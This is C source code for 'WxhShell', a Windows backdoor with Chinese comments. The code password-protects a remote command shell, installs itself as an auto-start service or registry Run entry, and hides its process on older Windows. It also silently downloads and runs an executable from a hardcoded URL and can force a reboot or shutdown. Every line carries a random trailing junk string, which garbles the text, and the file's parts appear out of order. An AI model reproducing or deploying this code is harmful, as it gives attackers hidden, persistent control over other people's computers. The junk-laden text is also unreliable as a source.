    ExitThread(0); f19 i !  
    } 9`muk  
    break;  ;P_Zen  
    }  P/Z o  
  // 关机 6 D O E6  
  case 'd': { BzZy s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *;m721#  
    if(Boot(SHUTDOWN)) 'e)t+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [D)A+  
    else { +*dJddz   
    closesocket(wsh); HUJ $e2[  
    ExitThread(0); oOlI*/OMb  
    } o kYsjK5  
    break;  JeA}d  
    }  }oG&zw  
  // 获取shell :\[F=  
  case 's': { + y^s 6j}  
    CmdShell(wsh); w-2]69$k  
    closesocket(wsh); X DX_c@U  
    ExitThread(0); ,'j5tU?c  
    break; it,%T)2H  
  } wKYfqNCH  
  // 退出 ?aCR>AY5X  
  case 'x': { (GV6%l#I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !EFd- fk  
    CloseIt(wsh); ;kbz(:wA  
    break; 6$f,DU  
    } qr@,92_  
  // 离开 Czp:y8YX-  
  case 'q': { uxcj3xE#d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !qR(Rn  
    closesocket(wsh); 0KZ 3h|4lP  
    WSACleanup(); Hq9(6w9w  
    exit(1); iT%UfN/q=I  
    break; sxqX R6p{  
        } ,LW0{(&z  
  } -[F^~Gv|;  
  } q=bXHtU  
*8N~ Zmz  
  // 提示信息 Oe273Y^e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,wV2ZEW}e  
} %vksN$^  
  } j% nd  
~i \69q%  
  return; ^K"`k43{  
} ]?r8^LyZ4  
i8{jMe!Sa  
// shell模块句柄 5&>(|Y~I  
int CmdShell(SOCKET sock) 82<L07fB  
{ @dXf_2Tv=  
STARTUPINFO si; CtfSfSAUuu  
ZeroMemory(&si,sizeof(si)); zQ [mO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GA|q[<U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SbZk{lWcq  
PROCESS_INFORMATION ProcessInfo; |qr[*c3$1  
char cmdline[]="cmd"; ~`BOz P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Z"%vrH  
  return 0; Wp'\NFe 8  
} D>mLSh  
;f><;X~KX  
// 自身启动模式 *0U(nCT&m  
int StartFromService(void) U +]ab  
{ |Mh;k 6  
typedef struct ]X5*e'  
{ 3EFk] X  
  DWORD ExitStatus; (3-G<E  
  DWORD PebBaseAddress; 'G^=>=w|Nv  
  DWORD AffinityMask; H)p{T@  
  DWORD BasePriority; V>nY?  
  ULONG UniqueProcessId; %~h'#S2X(  
  ULONG InheritedFromUniqueProcessId; HwcGbbX)  
}   PROCESS_BASIC_INFORMATION; eAqQ~)8^  
l YhwV\3  
PROCNTQSIP NtQueryInformationProcess; O<Kr6+ -  
gW, ET  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Frml'Vfq7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N*xgVj*  
^;2L`U@5  
  HANDLE             hProcess; }$o%^ "[  
  PROCESS_BASIC_INFORMATION pbi; v!x[1[  
-or9!:8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R%Z} J R.  
  if(NULL == hInst ) return 0; Fg~,1[8w<  
kA3kh`l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O$$N{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s:_5p`w>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J7xZo=@k  
 w&-r  
  if (!NtQueryInformationProcess) return 0; }O>IPRZ  
cmI8Xf]"P-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ik,w3}*P*  
  if(!hProcess) return 0; @bPJ}C  
wD<G+Y}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o ).pF">jh  
U` U/|@6  
  CloseHandle(hProcess); QZ`<+"a0  
N@VD-}E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]_Qc}pMF&  
if(hProcess==NULL) return 0; YlA=? X  
"Vh(%N`6  
HMODULE hMod; LU]~d< i99  
char procName[255]; hImCy9i}  
unsigned long cbNeeded; v`fUAm/  
QXrK-&fju  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GwvxX&P  
J h"]iN  
  CloseHandle(hProcess); <HD/&4$[  
K{iYp4pU  
if(strstr(procName,"services")) return 1; // 以服务启动 <(iOzn  
v6r w.  
  return 0; // 注册表启动 <s:Xj  
} HP8pEo0Y  
O+yR+aXr'8  
// 主模块 C{Zv.+F  
int StartWxhshell(LPSTR lpCmdLine)  2O  
{ itvwmI,m\  
  SOCKET wsl; rfZA21y{?  
BOOL val=TRUE; F7hQNQu:  
  int port=0; 0uvL,hF  
  struct sockaddr_in door; sPw(+m*C   
jlB3BwG{w  
  if(wscfg.ws_autoins) Install(); ^KlOD_GN|  
h~1QmEat  
port=atoi(lpCmdLine); p$V+IJtO(  
ygPZkvZ  
if(port<=0) port=wscfg.ws_port; Fc]#\d6  
4rx|6NV6  
  WSADATA data; {L0w& ~$Fy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ERZ[t\g)  
qvscf_%FM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :K~7BJ(HO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zPXd]jIwV  
  door.sin_family = AF_INET; ?BRL;(x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u>eu47"n!  
  door.sin_port = htons(port); ?R+$4;iy  
Jq!($PdA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `Ctj]t  
closesocket(wsl); Y}6)jzBV  
return 1; UvI!e4_  
} pI!55w|  
) ad-s  
  if(listen(wsl,2) == INVALID_SOCKET) { :b=0_<G  
closesocket(wsl); bcZonS  
return 1; IIPf5 Z}A  
} pxF!<nN1,  
  Wxhshell(wsl); -K !-a'J  
  WSACleanup(); ,i|f8pZ  
e,BJD>N ?  
return 0; G pd:k  
bcYz?o6  
} 3)ip@29F  
|j+~Td3})&  
// 以NT服务方式启动 n>Ei1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fP|\1Y?CS  
{ 26**tB<  
DWORD   status = 0; &td#m"wI  
  DWORD   specificError = 0xfffffff; EAfSbK3z  
u|ZO"t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3LmHH =  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4D13K.h`O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Px8E~X<@  
  serviceStatus.dwWin32ExitCode     = 0; BCbW;w8aI  
  serviceStatus.dwServiceSpecificExitCode = 0; /[s$A?  
  serviceStatus.dwCheckPoint       = 0; u"%fz8v  
  serviceStatus.dwWaitHint       = 0; )\(pDn$W  
G$j8I~E@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *G^]j )/  
  if (hServiceStatusHandle==0) return; *+AP}\p0F  
\ C^D2Z6  
status = GetLastError(); ka*UyW}  
  if (status!=NO_ERROR) yV. P.Q  
{ . ~<+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5"Yw$DB9  
    serviceStatus.dwCheckPoint       = 0; g9XtE  
    serviceStatus.dwWaitHint       = 0; .EcMn  
    serviceStatus.dwWin32ExitCode     = status; |2# Ro*  
    serviceStatus.dwServiceSpecificExitCode = specificError; u;!Rv E8N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `+uXL9mo  
    return; J3]m*i5A  
  } 4Y!v$r  
;p9D2&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]Oy<zU  
  serviceStatus.dwCheckPoint       = 0; 4Q>F4 v`  
  serviceStatus.dwWaitHint       = 0; -%.V0=G(Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DXt^Ym5Cv  
} d(!N$B\[5T  
R32d(2%5K  
// 处理NT服务事件,比如:启动、停止 z -D pLV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dUZ&Ty^{  
{ 55,-1tWs  
switch(fdwControl) JF gN  
{ ry0 =N^  
case SERVICE_CONTROL_STOP: 2}b bdXx  
  serviceStatus.dwWin32ExitCode = 0; ?<;<#JN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .tNB07=7  
  serviceStatus.dwCheckPoint   = 0; *v+ fkg  
  serviceStatus.dwWaitHint     = 0; #!/Nmd=Nj  
  { 8'_Y=7b0Nw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Ram8fW  
  } S\A[Z&k 0  
  return; hd~rC*I  
case SERVICE_CONTROL_PAUSE: rx/6x(3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2. _cEY34  
  break; 9m6j?CFG}  
case SERVICE_CONTROL_CONTINUE: @-}]~|<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; brWt  
  break; Ei-OuDM;)  
case SERVICE_CONTROL_INTERROGATE: (XJQ$n  
  break; u W T[6R  
}; .Dm{mV@*T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H~Cfni;  
} ^= G+]$8  
9x!y.gx  
// 标准应用程序主函数 _SqrQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vknFtpx  
{ BE~[%6T7  
`vw.~OBl  
// 获取操作系统版本 ;[9Is\  
OsIsNt=GetOsVer(); M6iKl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b G)MG0<TT  
}b`*%141  
  // 从命令行安装 |xm|Q(PG  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;>N ~ ,Q  
z3]U% y(,  
  // 下载执行文件 639k&"V  
if(wscfg.ws_downexe) { V{{x~Q9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YqgW8 EM  
  WinExec(wscfg.ws_filenam,SW_HIDE); k6BgY|0gC  
} R`q!~8u  
@:B1  
if(!OsIsNt) { \`ReZu$  
// 如果时win9x,隐藏进程并且设置为注册表启动 qS al~  
HideProc(); U5"OhI  
StartWxhshell(lpCmdLine); yxbTcZ  
} ]6 wi  
else !`lqWO_/ :  
  if(StartFromService()) ;kBies>V  
  // 以服务方式启动 `@7tWX0  
  StartServiceCtrlDispatcher(DispatchTable); e% 6{P  
else 9 NQq=@  
  // 普通方式启动 MVZ>:G9:  
  StartWxhshell(lpCmdLine); kqw? X{  
QEa=!O  
return 0; #1@~w}Dh  
} VKz<7K\/  
hm>*eJNp]  
Oy$BR <\  
avu,o   
=========================================== ;!?K.,N:N  
@U@yIv  
;4$C$r!t  
b_ yXM  
u,:`5*al{  
QaR.8/xV  
" NCt sx /C  
oE1]vX  
#include <stdio.h> ()?co<@(l  
#include <string.h> p)xI5,b$9  
#include <windows.h> )7g_v*  
#include <winsock2.h> *(B[J  
#include <winsvc.h> <t% A)L%  
#include <urlmon.h> VY@hhr1s~  
g/p9"eBpq  
#pragma comment (lib, "Ws2_32.lib") [t{ #@X  
#pragma comment (lib, "urlmon.lib") %PbqASm  
\[1CDz=}1  
#define MAX_USER   100 // 最大客户端连接数 y#;VGf6lj  
#define BUF_SOCK   200 // sock buffer ~79Qg{+]N  
#define KEY_BUFF   255 // 输入 buffer Tj5@OcA$  
TZNgtR{q  
#define REBOOT     0   // 重启 N'P,QiR,z<  
#define SHUTDOWN   1   // 关机 .+}o'rU  
+ t4m\/y  
#define DEF_PORT   5000 // 监听端口 CL :M>(  
Ag0_^  
#define REG_LEN     16   // 注册表键长度 8p{  
#define SVC_LEN     80   // NT服务名长度 Gc z@ze  
z/k~+-6O  
// 从dll定义API &\|<3sd(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ok%!o+nk.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;<@6f@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e-3pg?M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O&iYGREO  
GD{fXhgk  
// wxhshell配置信息 kDY]>v  
struct WSCFG { `yX+NRi(s  
  int ws_port;         // 监听端口 eZ5}O0sfp  
  char ws_passstr[REG_LEN]; // 口令 `)M\(_  
  int ws_autoins;       // 安装标记, 1=yes 0=no % 3-\3qx*  
  char ws_regname[REG_LEN]; // 注册表键名 IC.<)I  
  char ws_svcname[REG_LEN]; // 服务名 &iy(oM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I{e^,oc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vr;Br-8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w })Pedg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xWz;5=7a]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _ZM9 "<M-X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "4uUI_E9F;  
Ty0T7D   
}; -u9yR"n\}  
Tv,.  
// default Wxhshell configuration qbq<O %g=  
struct WSCFG wscfg={DEF_PORT, VfqY_NmgC  
    "xuhuanlingzhe", a {$k<@Ww  
    1, 0k 0c   
    "Wxhshell", iz>y u[|  
    "Wxhshell", .L5*E(<K0  
            "WxhShell Service", G4%M$LJ h  
    "Wrsky Windows CmdShell Service", m4SXH> o  
    "Please Input Your Password: ", I5yd )72  
  1, I= h4s(  
  "http://www.wrsky.com/wxhshell.exe", ^}/ E~Sg7\  
  "Wxhshell.exe" C=aj&  
    }; Nwl RPyt  
*R\/#Y|  
// 消息定义模块 xT?}wF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _q$LrAT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6+nMH +[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8<wuH#2<y  
char *msg_ws_ext="\n\rExit."; dF11Rj,~ 8  
char *msg_ws_end="\n\rQuit."; ^x"c0R^  
char *msg_ws_boot="\n\rReboot..."; <ivqe"m  
char *msg_ws_poff="\n\rShutdown..."; p/WH#4Xdr  
char *msg_ws_down="\n\rSave to "; 8 ]06!7S}  
*tfDXQ^mN  
char *msg_ws_err="\n\rErr!"; 1;kG[z=A  
char *msg_ws_ok="\n\rOK!"; &#PBww  
pY!dG-;  
char ExeFile[MAX_PATH]; |8qK%n f}  
int nUser = 0; u~- fK'/!|  
HANDLE handles[MAX_USER]; QB3d7e)8>  
int OsIsNt; }d3N`TT  
{_toh/8)r  
SERVICE_STATUS       serviceStatus; #w,WwL!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oz0n$`O$/  
R!k<l<9q  
// 函数声明 R-A'v&=  
int Install(void); 2u*h*/  
int Uninstall(void); B?lBO V4v4  
int DownloadFile(char *sURL, SOCKET wsh); g3~~"`2  
int Boot(int flag); lc3S|4  
void HideProc(void); 3pTS@  
int GetOsVer(void); kV:FJx0xP  
int Wxhshell(SOCKET wsl); ;Ma/b=Y  
void TalkWithClient(void *cs); 8LQ59K_WX  
int CmdShell(SOCKET sock); ?F87C[o  
int StartFromService(void); Y = g>r]2  
int StartWxhshell(LPSTR lpCmdLine); Ih-3t*L  
=SK+ \j$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w{e3U7;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Z$TzT&@%  
(O_t5<A*X  
// 数据结构和表定义 2Z;`#{  
SERVICE_TABLE_ENTRY DispatchTable[] = mU3Y)  
{ +)JNFy-  
{wscfg.ws_svcname, NTServiceMain}, '/u:,ar  
{NULL, NULL} ;Up'~BP(  
}; 3:~l2KIP4  
9!xD~(Kr  
// 自我安装 f05"3L:  
int Install(void) przubMt  
{ %EVV-n@  
  char svExeFile[MAX_PATH]; I`"-$99|t1  
  HKEY key; pqH( Tbjq  
  strcpy(svExeFile,ExeFile); Q@e*$<3  
/nY).lSH  
// 如果是win9x系统,修改注册表设为自启动 e>,9]{N+$  
if(!OsIsNt) { 9QOr,~~s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h8#5vO2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dE5 5  
  RegCloseKey(key); ~~xyFT+{F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4C,kA+P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QxL@'n#5   
  RegCloseKey(key); J)$&z*!  
  return 0; S)\JWXi~:J  
    } @[5_C?2  
  } Mm5U`mB  
} ~}$\B^z+  
else { q?;*g@t  
4/HY[FT  
// 如果是NT以上系统,安装为系统服务 |6sT,/6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dXhCyr%"6  
if (schSCManager!=0) @~$F;M=.*  
{ Ox7uG{t$#  
  SC_HANDLE schService = CreateService - - i&"  
  ( 9ra HSzK@d  
  schSCManager, ;# R3k  
  wscfg.ws_svcname, nIV.9#~&  
  wscfg.ws_svcdisp, ;w+:8<mM}a  
  SERVICE_ALL_ACCESS, W>}Qer4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #aitESbT  
  SERVICE_AUTO_START, WyBQ{H{So  
  SERVICE_ERROR_NORMAL, `jb0 +{08  
  svExeFile, ^ o $W  
  NULL, [j:}=:feQ  
  NULL, ZRXI?Jr%  
  NULL, MfXt+c`r  
  NULL, ~A[YnJYA#  
  NULL f.b8ZBNj>  
  ); IOsXPf9@  
  if (schService!=0) u Q:ut(  
  { VD9 q5tt7  
  CloseServiceHandle(schService); vx\nr8'k  
  CloseServiceHandle(schSCManager); y3={NB+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `d}W;&c  
  strcat(svExeFile,wscfg.ws_svcname); I"8d5a}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6P%<[Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y]+e  Df  
  RegCloseKey(key); 0NL :z1N-h  
  return 0; :b<-[8d&  
    } mD D4_E2*  
  } _l#3]#  
  CloseServiceHandle(schSCManager); ERp:EZ'  
} oF%^QT"R  
} gB/;clCdX)  
 &7L~PZ  
return 1; (MgL"8TS  
} ur/Oc24i1n  
3E<aiGU  
// 自我卸载 y\F`B0#$  
int Uninstall(void) O%YjWb  
{ @D fkGm[%  
  HKEY key; (@ %XWg  
"C:rTIH  
if(!OsIsNt) { $"Y3mD}?L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \3%W_vU_  
  RegDeleteValue(key,wscfg.ws_regname); SW,q}-  
  RegCloseKey(key); Hi]vHG(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ojN`#%X  
  RegDeleteValue(key,wscfg.ws_regname); ?@Z7O.u  
  RegCloseKey(key); `[X6#` <  
  return 0; !aQIh  
  } D",A$(lG  
} xM%H~(  
} hX0RET  
else { G+ :bL S#:  
2#'rk'X,K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |tG05+M  
if (schSCManager!=0) D4AEZgC F,  
{ hA@zoIoe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ])N|[|$  
  if (schService!=0) sk#9x`Rw  
  { jz %;4e~t  
  if(DeleteService(schService)!=0) { p9/bzT34.  
  CloseServiceHandle(schService); BD hLz  
  CloseServiceHandle(schSCManager); !$D&6M|C8l  
  return 0; w|&,I4["  
  } K1;z Mh  
  CloseServiceHandle(schService); UE"7   
  } HvAE,0N  
  CloseServiceHandle(schSCManager); j?=VtVP  
} H9sZR>(^  
} $ b4*/vMr  
cE^kpnVq|<  
return 1; .H Fc9^.*  
} c L?\^K)  
D._{E*vg  
// 从指定url下载文件 U%Dit  
int DownloadFile(char *sURL, SOCKET wsh) {*sGhGwr  
{ 0xN!DvCg>.  
  HRESULT hr; d "2wO[  
char seps[]= "/"; lrCm9Oy  
char *token; (gLea  
char *file; XxhsPFv  
char myURL[MAX_PATH]; *:?QB8YJ  
char myFILE[MAX_PATH]; *f{7  
g+igxC}2z  
strcpy(myURL,sURL); R'Sa?6xS4  
  token=strtok(myURL,seps); <BZ_ (H  
  while(token!=NULL) 1d`cTaQ-  
  { K-Re"zsz  
    file=token; 8098y,mQe  
  token=strtok(NULL,seps); bi+9R-=&  
  } KCE=|*6::|  
5n:nZ_D  
GetCurrentDirectory(MAX_PATH,myFILE); !zU/Hq{wcK  
strcat(myFILE, "\\"); xf'LR[M  
strcat(myFILE, file); ol50d73B  
  send(wsh,myFILE,strlen(myFILE),0); : -E,   
send(wsh,"...",3,0); wc"9A~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u',b1 3g(  
  if(hr==S_OK) 5;}2[3}[  
return 0; M Z2^@It  
else Ys-^7 y_  
return 1; @]*[c})/  
AHq M7+r9  
} &0s*P G  
lbd(j{h>4  
// 系统电源模块 F9%,MSt  
int Boot(int flag) : g 5(HH  
{ N=q#y@L  
  HANDLE hToken; uN8/Q2   
  TOKEN_PRIVILEGES tkp; { E^U6@  
oI*d/*  
  if(OsIsNt) { DjY8nePyE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P`tyBe#=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h 5Hr[E1  
    tkp.PrivilegeCount = 1; Sg_O?.r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9YAM#LBTWi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *-6?  
if(flag==REBOOT) { &m'?*O |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D'<$ g  
  return 0; Cpe#[mE  
} +N7"EROc  
else { w\Iqzpikr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z4bN)W )p  
  return 0;  ![ a  
} dIvy!d2l  
  } pp<E))&R  
  else { o OQ'*7_  
if(flag==REBOOT) { ewpig4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @cPflb  
  return 0; fa4=h;>a+  
} 5} G:D  
else { yWNOG 2qAP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0t+])>  
  return 0; i@XB&;*c\  
} P<vo;96JT  
} >otJF3zw   
07FT)QTE  
return 1; \X5 3|Y;=  
} ';Nu&D#Ph  
St+ "ih%  
// win9x进程隐藏模块 ^zg acn  
void HideProc(void) ?,>5[Ha^?  
{ 8TW5(fl  
zSKKr?{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GB =bG%Tb  
  if ( hKernel != NULL ) bJwc1AJgH  
  { [ZD[a6(94  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hXc}r6<B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AX;c}0g  
    FreeLibrary(hKernel); '$?du~L-  
  } }3J=DCtS  
eIJ[0c b}  
return; |kc@L`7s  
} Y.NE^Vn0  
6A?8tm/0  
// 获取操作系统版本 F\-Si!~oOz  
int GetOsVer(void) lov%V*tL  
{ x9&p!&*&IT  
  OSVERSIONINFO winfo; r%|A$=[Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xG1?F_]  
  GetVersionEx(&winfo); TM-Fu([LMV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cJ2PI  
  return 1; s&VOwU  
  else D"!jbVz]*  
  return 0; Zw#<E =\  
} |mOMRP#'  
:v)6gz(p  
// 客户端句柄模块 r**f,PDZ  
int Wxhshell(SOCKET wsl) Bzw19S6y  
{ {[P!$ /  
  SOCKET wsh; b]i>Bv  
  struct sockaddr_in client; vY_eDJ~'  
  DWORD myID; tF%QH[  
-?z\5 z  
  while(nUser<MAX_USER) ,rai%T/rL  
{ I0_Ecp  
  int nSize=sizeof(client); G\ex^&M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x[x(y{&~  
  if(wsh==INVALID_SOCKET) return 1; u{Ak:0G7  
l `R KqT+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /NU103F yt  
if(handles[nUser]==0) 5gshKmt_  
  closesocket(wsh); V&iS~V0.  
else wDKELQ(y H  
  nUser++; >vAN(3Idu  
  } 'yr{^Pek  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~b6GrY"vB  
? |VysJ  
  return 0; S/7l/DFb  
} pV=@sz,G  
0>FE%  
// 关闭 socket RX>2~^  
void CloseIt(SOCKET wsh) &a6,ln:P  
{ ?Oc -aa  
closesocket(wsh); RG1\=J$:E  
nUser--; X!c?CL  
ExitThread(0); yb?|Eww_o  
} l'uOORI  
V:Mk)8Gf|  
// 客户端请求句柄 `tVy_/3(9  
void TalkWithClient(void *cs) UP8{5fx'  
{ 9.s,:?5e  
l9J*um-  
  SOCKET wsh=(SOCKET)cs; #U"1 9@|}  
  char pwd[SVC_LEN]; f3#X0.':  
  char cmd[KEY_BUFF]; hZU 1O  
char chr[1]; kceyuD$3G  
int i,j; 8R?I`M_b  
8UM0vNk  
  while (nUser < MAX_USER) { GHG,!C  
6|#g+&[  
if(wscfg.ws_passstr) { ) EXJ   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]0-<>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Jykos2  
  //ZeroMemory(pwd,KEY_BUFF); QNg\4%  
      i=0; FmD +8=  
  while(i<SVC_LEN) { x<F$aXOS  
iRve)   
  // 设置超时 ix*muVBj.  
  fd_set FdRead; tvpN/p  
  struct timeval TimeOut; 0T9. M(  
  FD_ZERO(&FdRead); " " %#cDR  
  FD_SET(wsh,&FdRead); vyU!+mlc  
  TimeOut.tv_sec=8; &*gbK6JB  
  TimeOut.tv_usec=0; O{ q&]~,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^P$7A]!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V3uXan_  
B^q<2S;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@M6!;y#  
  pwd=chr[0]; \fi}Q\|C  
  if(chr[0]==0xd || chr[0]==0xa) { <5IQc[3]aP  
  pwd=0; (Ilsk{aB;A  
  break; 0*yJ %  
  }  }_%P6  
  i++; {y-`QS  
    } (p,}'I#i*  
I$j|Rq  
  // 如果是非法用户,关闭 socket J-XTN"O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  zy>}L #  
} .8H}Lf\  
(0C&z/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AC4 l<:Yh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x~+-VF3/  
V^rW?Do  
while(1) { 8zmv 5trt  
(U9a@ 1  
  ZeroMemory(cmd,KEY_BUFF); rQj~[Y.c  
1exfCm  
      // 自动支持客户端 telnet标准   iN)af5)[^  
  j=0; Y /lN@  
  while(j<KEY_BUFF) { c-*2dV[@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6+PGwCS  
  cmd[j]=chr[0]; (h,Ws-O  
  if(chr[0]==0xa || chr[0]==0xd) { <L&eh&4c  
  cmd[j]=0; F,pCR7o>  
  break; [:B*6FXMN~  
  } 88o:NJ}_  
  j++; c<jB6|.=2  
    } XTo8,'UaP  
E {>`MNj  
  // 下载文件 *U_oao  
  if(strstr(cmd,"http://")) { q-IWRb0j%a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v8'5pLt"  
  if(DownloadFile(cmd,wsh)) >S.91!x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x H~ww (D  
